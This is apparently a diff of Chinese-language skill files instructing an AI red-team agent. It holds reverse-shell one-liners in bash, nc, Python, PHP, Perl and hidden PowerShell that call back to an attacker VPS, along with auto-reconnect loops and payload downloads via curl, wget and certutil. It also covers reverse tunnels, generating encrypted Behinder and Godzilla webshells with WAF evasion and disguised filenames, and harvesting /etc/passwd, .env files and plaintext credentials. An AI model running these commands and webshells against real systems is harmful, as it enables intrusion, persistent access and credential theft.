bash -c 'bash -i >& /dev/tcp/<你的VPS_IP>/9000 0>&1'
bash -c 'exec bash -i &>/dev/tcp/<你的VPS_IP>/9000 <&1'
# nc 系(有 -e 的版本)
nc <你的VPS_IP> 9000 -e /bin/bash
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc <你的VPS_IP> 9000 > /tmp/f
# Python(无 nc 时的兜底,兼容 python2/3)
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("<你的VPS_IP>",9000));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.call(["/bin/bash","-i"])'
# PHP(Web 侧 getshell 后常用)
php -r '$s=fsockopen("<你的VPS_IP>",9000);exec("/bin/bash -i <&3 >&3 2>&3");'
# Perl
perl -e 'use Socket;$i="<你的VPS_IP>";$p=9000;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'
# Windows PowerShell
powershell -nop -w hidden -c "$c=New-Object Net.Sockets.TCPClient('<你的VPS_IP>',9000);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([Text.Encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length)}"
```
**URL 编码**:走 Web 漏洞(命令注入/RCE)时把 payload 整体 URL 编码后再传参,避免 `&`、`>` 被截断。
## 会话升级与稳定化
裸 `nc` 出来的 shell 没有 TTY:不能 `sudo`、不能 `su`、`vi` 和 `top` 会异常。升级:
```bash
# 目标上执行(python3 必装率最高)
python3 -c 'import pty;pty.spawn("/bin/bash")'
# 或
script -qc /bin/bash /dev/null
```
```bash
# 本机侧(attach 后)让 Ctrl-C/方向键正常
# 在反弹 shell 里依次:Ctrl-Z
stty raw -echo; fg
# 回车两次,然后
export TERM=xterm; export SHELL=/bin/bash; stty rows 40 cols 160
```
**更稳的方案:socat 全 TTY 监听**(VPS 上已装 socat):
```bash
$VPS sh "tmux new-session -d -s rt-pty -t '' 'socat file:\`tty\`,raw,echo=0 tcp-listen:9000,reuseaddr'"
# 目标侧
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<你的VPS_IP>:9000
```
掉线自动重连(目标侧循环):
```bash
while true; do bash -c 'bash -i >& /dev/tcp/<你的VPS_IP>/9000 0>&1'; sleep 10; done &
```
## 载荷投递(VPS 当文件中转)
```bash
$VPS serve 9100 ~/rt/payloads # VPS 上起 HTTP 服务
$VPS push ./suo5 /home/ubuntu/rt/payloads/
# 目标侧(Linux)
curl -O http://<你的VPS_IP>:9100/suo5 或 wget http://<你的VPS_IP>:9100/suo5
# 目标侧(Windows)
certutil -urlcache -split -f http://<你的VPS_IP>:9100/beacon.exe C:\Windows\Temp\a.exe
powershell -c "iwr http://<你的VPS_IP>:9100/beacon.exe -OutFile C:\Windows\Temp\a.exe"
```
**取回战利品**:`$VPS get /home/ubuntu/rt/loot/dump.zip ~/.dsh/redteam/engagements/<靶标>/runs/`
## 反向隧道与中转
目标在内网、本机不可达时,用 VPS 当跳板:
```bash
# 反向隧道:VPS:9200 → 目标内网 10.0.0.5:8080(在目标上执行)
ssh -R 9200:10.0.0.5:8080 -N -f -o StrictHostKeyChecking=no -i <目标上的密钥> ubuntu@<你的VPS_IP>
# 之后本机经 VPS 访问:ssh -L 8080:127.0.0.1:9200 ubuntu@<你的VPS_IP>
# socat 端口转发(VPS 上)
$VPS sh "tmux new-session -d -s fwd-9200 'socat TCP-LISTEN:9200,reuseaddr,fork TCP:10.0.0.5:8080'"
```
WebShell 场景配合技能 `suo5-tunnel`:把 suo5 客户端放本机,服务端传到目标,隧道出口经 VPS 更稳。
## 纪律(务必遵守)
1. **端口纪律**:只用 9000-9999,开监听前先 `$VPS port` 或 `$VPS status` 确认空闲;**绝不占用/杀掉 9001、9007、9009 与 `cap/sh/up/www` 会话**。
2. **每次用完必须 `$VPS kill <port>`**,不要留下裸监听(既是资源占用也是痕迹)。
3. **凭据落库、不留 VPS**:目标上抓到的口令/哈希用 `redteam_credential_add` 写进本机资产库(明文 `secret_value`),产物落本机 `runs/`;**不要把凭据写进 VPS 家目录**。
4. **VPS IP 对目标可见**:它属于本次演练的基础设施,不要在目标上留下包含它之外的额外个人信息。
5. **落库**:每次成功拿到 shell 用 `redteam_access_add` 记录(host/账号/方式/权限/会话引用),每条凭据用 `redteam_credential_add` 记录,攻击脚本用 `redteam_attack_file_add` 归档。
6. **`send` 出去的每条命令都要能从 `read` 的输出里拿到证据**,重要输出先重定向到文件再 `get` 回来,避免 tmux 回滚缓冲被刷掉。
## 排障
| 现象 | 处理 |
| --- | --- |
| 目标回连不上 | 先确认监听真在:`$VPS sessions` + `$VPS sh "ss -ltnp \| grep <port>"`;再确认目标出网(目标上 `curl -s http://<你的VPS_IP>:<port>` 若返回连接成功说明端口可达) |
| 端口在范围外/换端口 | 云安全组只放了 9000-9999,超范围必失败 |
| 反复掉线 | 目标侧加 `while true` 重连循环;或用 socat 全 TTY 方案 |
| 有回显但命令不执行 | payload 被 URL 截断(`&`/`>`),整体 URL 编码 |
| 中文乱码 | 目标上 `export LANG=C.UTF-8`,或先 `read` 前把 tmux 设置 `tmux set -t rt-<port> utf8 on` |
| 无 TTY、`sudo` 报错 | 升级 PTY(见上) |
| 本机探测端口"全部可连" | 本机网关会对任意端口回 SYN-ACK,**本机 `nc -z` 不能判断 VPS 端口可达性**;要用外部节点或目标本身验证 |
## 与其他技能的关系
- `suo5-tunnel`:WebShell → SOCKS5 隧道,出口可以走本 VPS
- `webshell-toolkit`:冰蝎/哥斯拉/蚁剑,拿到 WebShell 后的管理
- `cn-proxy-pool`:需要国内出口 IP 时叠加代理(不要改动本机网络配置)
- `active-scan` / `fofa-recon`:内网可达后继续测绘
+17
View File
@@ -0,0 +1,17 @@
---
name: web-fingerprint
description: Web 服务指纹识别:框架、中间件、CMS、组件版本
whenToUse: 已发现 HTTP/HTTPS 服务,需要识别技术栈时
role: recon
enabled: true
---
## 方法
1. 响应头:`Server`、`X-Powered-By`、`Set-Cookie` 特征。
2. 页面特征:favicon 哈希、静态资源路径、报错页、robots.txt。
3. 主动探测:nuclei 技术识别模板 `nuclei -u <url> -tags tech`;HTTP 存活与技术栈汇总用 `~/.local/bin/pd-httpx -l urls.txt -tech-detect -title -status-code -web-server`(**ProjectDiscovery 版必须用 pd-httpx,`/usr/bin/httpx` 是 Python 库的 CLI**)。
4. 大网段批量指纹用技能 `gogo-intranet`(`gogo -i <cidr> -p top2 -v --af`,主动指纹要加 `-v`)。
5. 版本比对:从指纹推断产品与版本,为漏洞检测做准备。
## 落库要求
写入 fingerprint 表:category(框架/中间件/CMS/组件)、vendor、product、version、evidence。
+88
View File
@@ -0,0 +1,88 @@
---
name: webshell-toolkit
description: 冰蝎 / 哥斯拉 / 中国蚁剑 的启动与用法,用于上传并管理 WebShell、维持访问、操作目标服务器
whenToUse: 已获得上传点/文件写入/命令执行,需要落地并操作 WebShell 时
role: exploit
enabled: true
---
# WebShell 工具包(已就位)
目录 `$DSH_HOME/redteam/toolkit/`,Java 25 已安装。
## 铁律:落地必须是冰蝎马 / 哥斯拉马(加密马)
**用户要在控制台用冰蝎/哥斯拉客户端直连使用这个入口**,所以:
- **默认只落地冰蝎马(Behinder)或哥斯拉马(Godzilla)的加密马**,并把 `shell_type` + `pass_key` 落库(`redteam_webshell_add`)。
- **一句话马(`?cmd=`)/ 自研马 / 内存马不算交付**:用户连不上、无法交互操作。只能作为**临时中转**(例如只为投递真正的马或建隧道),且必须在 note 里写明"临时中转,非交付入口"。
- 哥斯拉 GUI 生成需要人在场;**优先用下面「无 GUI 生成冰蝎马」的方式**,一条命令就能产出可交付的马。
## 无 GUI 生成冰蝎马(推荐,可脚本化)
冰蝎马只是把密钥写进模板:密钥 = `md5(连接密码)[:16]`。仓库自带模板:
`$DSH_HOME/redteam/toolkit/Behinder/server/{shell.jsp,shell.jspx,shell_java9.jsp,shell.php,shell.aspx,shell.ashx,shell.asp}`
```bash
TK=$DSH_HOME/redteam/toolkit
PASS='Rt@2026#xz' # 连接密码(随机生成,别用 rebeyond)
KEY=$(printf '%s' "$PASS" | md5sum | cut -c1-16) # 冰蝎要求 32 位 md5 的前 16 位
# JSP:替换模板里的密钥
sed "s/e45e329feb5d925b/$KEY/" $TK/Behinder/server/shell.jsp > /tmp/rt-shell.jsp
# PHP:同理(模板变量名 $key)
sed "s/e45e329feb5d925b/$KEY/" $TK/Behinder/server/shell.php > /tmp/rt-shell.php
echo "连接密码 $PASS | 密钥 $KEY" # 两者都要写进 runs/ 与 redteam_webshell_add
```
- 默认密钥 `e45e329feb5d925b` = `md5("rebeyond")[:16]`(模板里的注释就是这个意思)——**必须换成自己的密码**,用默认密码等于把马送给防守方。
- 目标有 WAF/查杀时用 unicode 转义变体 `shell_uni.jsp`:密钥也是转义形式,需按 `\\u00xx` 逐字符替换(可用 python 生成)。
- 已实测:`shell.jsp / shell.jspx / shell_java9.jsp / shell.php / shell.aspx / shell.ashx / shell.asp` 七个模板都能用上面这条 `sed` 一条命令换好密钥。
哥斯拉马(需要 GUI 时):
```bash
DISPLAY=:10.0 java -jar $DSH_HOME/redteam/toolkit/Godzilla/godzilla.jar
# 管理 → 生成:载荷 java/jsp、加密器 Java_AES_BASE64、密码与密钥随机 → 生成后上传
```
## 上传后必须验证"用户能连上"
1. `curl -s -o /dev/null -w '%{http_code}' "https://target/upload/x.jsp"` → 预期 200(**不要用 GET 带 cmd 参数去测**,冰蝎/哥斯拉马不响应明文命令)。
2. 用冰蝎或哥斯拉 GUI 新建连接(URL + 连接密码)点「测试连接」→ 通了才算成功;通了再用虚拟终端执行 `id/whoami`。
3. 落库必须写全:`url`、`shell_type=behinder|godzilla`、`pass_key=连接密码`、`privilege`、`secret_ref`(证据文件);随后**立刻建 suo5 隧道**(技能 `suo5-tunnel`)。
## 工具一览
| 工具 | 启动命令 | 说明 |
|---|---|---|
| 冰蝎 Behinder v4.1 | `java -jar $DSH_HOME/redteam/toolkit/Behinder/Behinder.jar` | AES 加密流量,JSP/PHP/ASPX |
| 哥斯拉 Godzilla v4.0.1 | `java -jar $DSH_HOME/redteam/toolkit/Godzilla/godzilla.jar` | 支持 JSP/PHP/ASPX 全加密 payload |
| 中国蚁剑 AntSword | `$DSH_HOME/redteam/toolkit/AntSword/AntSword-Loader-v4.0.3-linux-x64/AntSword` | 首次启动选择源码目录 `antSword-2.1.16` |
| suo5 隧道 | `./suo5-linux-amd64` | 见技能 `suo5-tunnel` |
## 典型流程(授权演练)
1. **确定写入点**:上传漏洞 / 任意文件写 / 后台插件上传 / 模板写入 / 数据库写文件(`INTO OUTFILE`)。
2. **生成 payload**:按目标语言选 JSP/JSPX/PHP/ASPX(见上「无 GUI 生成冰蝎马」),密码随机生成并记到 `runs/`。
3. **上传并访问**:`curl -s "https://target.example.com/upload/x.jsp"` 确认返回 200;不要把 shell 放在显眼路径(如 `/shell.jsp`),用与静态资源同风格的随机文件名。
4. **连接管理**:在工具里新增 URL + 密码,测试连接;成功后用「虚拟终端」执行命令。
5. **维持与利用**:
- 收集 `id/whoami/hostname/uname -a`、系统账号、内网 IP、路由。
- **立刻用 suo5 起隧道进内网**(技能 `suo5-tunnel`,这是内网突破的标准通道)。
- 抓取敏感文件:`/etc/passwd`、配置、`.env`、源码、数据库连接串 → 存 `runs/`。
6. **落库**:
- `redteam_webshell_add`(url / **shell_type** / **pass_key** / privilege / secret_ref)
- `redteam_access_add`(host/账号/方式 webshell/权限/会话引用)
- `redteam_vuln_update` 把入口漏洞置为 `exploited`
- `redteam_http_evidence_add` 保存上传请求与 shell 访问请求
- `redteam_chain_add`(stage=exploit/access)
## 命令执行(临时中转时才用)
如果只需要一次性命令执行,优先直接用已有 RCE 或隧道,不必落一句话马:
```bash
# 例:通过临时一句话马传参执行(用后即删,不算交付入口)
curl -s "https://target.example.com/upload/x.jsp?cmd=id"
# 冰蝎/哥斯拉是 GUI 工具,命令行下用 suo5 隧道 + 常规工具更省事
```
## 注意事项
- 生成的 shell 只能上传到**本次授权演练的目标**;用完按需清理(删除文件、恢复原状)。
- 工具 GUI 需要图形会话(`DISPLAY=:10.0` 可用)。
- 凭据用 `redteam_credential_add` 落库:**明文写 `secret_value`**(面板直接显示,便于复用),同时把证据文件写 `runs/` 并在 `secret_ref` 里引用。资产库只在本机,别把库或导出内容带走。
- 目标可能有 EDR/查杀:先测试 shell 是否存活,避免反复落地触发告警;落地失败就换语言/编码(JSP→JSPX→PHP)或换上传点。